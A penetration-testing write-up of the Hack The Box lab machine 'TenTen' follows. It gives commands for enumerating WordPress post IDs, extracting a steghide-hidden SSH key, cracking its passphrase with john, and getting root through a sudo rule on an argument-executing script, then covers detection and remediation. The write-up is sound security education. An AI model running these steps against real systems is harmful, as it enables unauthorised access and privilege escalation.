Skip to content
Back to all posts

HTB: TenTen

· 16 min medium Linux TenTen

A WordPress Job Manager plugin leaks uploaded file names through predictable post IDs, revealing a steganographic image that hides an encrypted SSH key. A misconfigured sudo rule on /bin/fuckin completes the chain to root.

Overview

TenTen is a medium-rated Linux box running WordPress 4.7.3 with the WP Job Manager plugin on Ubuntu 16.04. No CVEs are required for the full attack chain. The exploit path relies entirely on information disclosure, steganography, and a misconfigured sudo rule.

WordPress assigns sequential integer IDs to all post types, including custom types registered by plugins. The WP Job Manager plugin stores job applications as posts whose slugs correspond to uploaded file names. Enumerating post IDs 1 through 25 reveals a suspicious slug: “HackerAccessGranted”. The corresponding file at the predictable WordPress upload path is a JPEG image containing an RSA SSH private key hidden with steghide (empty extraction passphrase). The SSH key is encrypted with AES-128-CBC; cracking it against rockyou.txt yields the passphrase “superpassword”. This key belongs to user takis, identified through WordPress author enumeration.

Privilege escalation is immediate: takis can run /bin/fuckin via sudo without a password. The script contains $1 $2 $3 $4, which executes its arguments as shell commands. Running sudo /bin/fuckin bash provides root.

Reconnaissance

nmap -sC -sV -T4 10.129.15.155
PortServiceProduct / VersionNotes
22SSHOpenSSH 7.2p2 Ubuntu 4ubuntu2.1Ubuntu 16.04 banner
80HTTPApache 2.4.18 (Ubuntu)Redirects to tenten.htb

The HTTP service redirects to tenten.htb, confirming vhost-based routing. Added to /etc/hosts. The page source identifies WordPress 4.7.3 with the TwentySeventeen theme and a “Job Portal” tagline. The WP Job Manager plugin is visible from the /jobs/ listing page.

WordPress user enumeration

WordPress exposes user information through author archive URLs:

curl -sI http://tenten.htb/?author=1 | grep Location
# Location: http://tenten.htb/index.php/author/takis/

Author IDs 2 through 10 return 404. takis is the only user.

Attack Surface Analysis

WP Job Manager post ID enumeration

WordPress stores all content as posts with sequential IDs. The Job Manager plugin registers a custom post type (jobman_app) for applications. Direct access to /?p=N reveals the post title regardless of visibility settings.

for i in $(seq 1 25); do
    title=$(curl -s "http://tenten.htb/?p=$i" | grep -oP '<title>\K[^<]+')
    echo "ID $i: $title"
done
# ID 1:  Job Developer
# ID 8:  Job Application: Developer
# ID 13: Job Application: HackerAccessGranted

Post ID 13 is a jobman_app post with slug “HackerAccessGranted”. In the Job Manager workflow, the application slug corresponds to the uploaded CV file name.

Uploaded file discovery

WordPress stores uploads at wp-content/uploads/YYYY/MM/. Testing common date paths:

curl -sI http://tenten.htb/wp-content/uploads/2017/04/HackerAccessGranted.jpg
# HTTP/1.1 200 OK
# Content-Type: image/jpeg
# Content-Length: 42016

A 42 KB JPEG is unusually large for a simple image, suggesting embedded data.

Vulnerability Analysis

The attack chain does not rely on any software CVE. It chains three weaknesses:

WeaknessCWEDescription
Post ID enumerationCWE-200Sequential IDs expose uploaded file names to unauthenticated users
Steganographic credential storageCWE-312SSH private key embedded in a publicly accessible image
Insecure sudo configurationCWE-269/bin/fuckin executes arbitrary arguments as root

The information disclosure is a design flaw in WordPress’s handling of custom post types, not a bug. WordPress intentionally makes post slugs accessible via /?p=N. The WP Job Manager plugin does not account for this when storing application file names as slugs.

Exploitation

Step 1: Steganographic extraction

The image contains a steghide payload extractable with an empty passphrase:

wget http://tenten.htb/wp-content/uploads/2017/04/HackerAccessGranted.jpg

steghide extract -sf HackerAccessGranted.jpg -p ""
# wrote extracted data to "id_rsa".

head -5 id_rsa
# -----BEGIN RSA PRIVATE KEY-----
# Proc-Type: 4,ENCRYPTED
# DEK-Info: AES-128-CBC,7265FC656C429769E4C1EEFC618E660C

The key is encrypted with AES-128-CBC. It requires a passphrase.

Step 2: SSH key cracking

ssh2john id_rsa > id_rsa.hash
john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
# superpassword    (id_rsa)

Step 3: SSH access

chmod 600 id_rsa
ssh -i id_rsa [email protected]
# Enter passphrase for key 'id_rsa': superpassword

takis@tenten:~$ id
# uid=1000(takis) gid=1000(takis) groups=1000(takis),4(adm),
# 24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)

cat /home/takis/user.txt
# [redacted]

Step 4: Privilege escalation via /bin/fuckin

takis@tenten:~$ sudo -l
# User takis may run the following commands on tenten:
#     (ALL : ALL) ALL
#     (ALL) NOPASSWD: /bin/fuckin

cat /bin/fuckin
# #!/bin/bash
# $1 $2 $3 $4

The script expands positional parameters directly into the shell execution context. A single argument is sufficient:

sudo /bin/fuckin bash

root@tenten:~# id
# uid=0(root) gid=0(root) groups=0(root)

cat /root/root.txt
# [redacted]

$2, $3, and $4 expand to empty strings, leaving only bash as the executed command.

Post-Exploitation

uname -a
# Linux tenten 4.4.0-62-generic #83-Ubuntu SMP x86_64 GNU/Linux

cat /etc/lsb-release
# DISTRIB_DESCRIPTION="Ubuntu 16.04.2 LTS"

The system runs Ubuntu 16.04.2 LTS with kernel 4.4.0-62. The takis user is a member of the lxd group, which provides an alternative privilege escalation path via LXD container escape (mount host filesystem into a privileged container). The sudo misconfiguration made this unnecessary.

The WordPress installation uses default database credentials in wp-config.php. The upload restriction on the Job Manager form correctly blocks PHP files but accepts images, enabling the steganographic channel.

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
ReconnaissanceT1595.002Sequential requests to /?p=1 through /?p=25
Initial accessT1552.004SSH login with key-based auth from external IP
Privilege escalationT1548.003sudo /bin/fuckin spawning /bin/bash as root

Network-level: The post ID enumeration produces a burst of sequential HTTP requests (/?p=1, /?p=2, …) that is easily detectable as automated scraping. Rate limiting or CAPTCHAs on WordPress post endpoints would slow this attack.

Host-level: auditd rules on sudo invocations would capture the /bin/fuckin bash command. Any process monitoring tool would flag bash spawned as a child of a sudo-executed script. The SSH login with a key that was not provisioned through normal channels is detectable through SSH log analysis.

Remediation

PriorityActionEffortImpact
P0Remove /bin/fuckin from sudoers; audit all sudo rulesLowCritical
P0Rotate the SSH key embedded in the imageLowCritical
P0Delete HackerAccessGranted.jpg from uploadsLowCritical
P1Disable direct post ID access in WordPressMediumHigh
P1Remove takis from the lxd groupLowHigh
P2Restrict WordPress author enumerationLowMedium
P2Set upload directory permissions to prevent browsingLowMedium
P3Update WordPress to current stableMediumMedium

The sudo misconfiguration is the most dangerous finding and the easiest to fix. Any script that passes arguments directly to shell execution is equivalent to granting unrestricted root access. The sudoers entry should be removed entirely. If the script serves a legitimate purpose, it must be rewritten to validate its arguments against an allowlist.

Key Takeaways

  1. WordPress post IDs are a free enumeration channel. Sequential integer IDs expose every post type’s slug, including custom types from plugins. Plugins that store sensitive information in post slugs (like uploaded file names) are vulnerable to information disclosure. Always test /?p=1 through /?p=50 on any WordPress target.

  2. Steganography on HTB means checking every image. Any image file in a WordPress uploads directory warrants a steghide extract -p "" test. The empty passphrase case takes two seconds to verify and catches a surprising number of embedded payloads.

  3. Shell scripts in sudoers are almost always exploitable. A script that executes its arguments as shell commands grants the same access as ALL=(ALL) NOPASSWD: ALL. The positional parameter expansion ($1 $2 $3 $4) is indistinguishable from direct command execution. Sudo rules should reference compiled binaries with fixed behaviour, never shell scripts that interpret their arguments.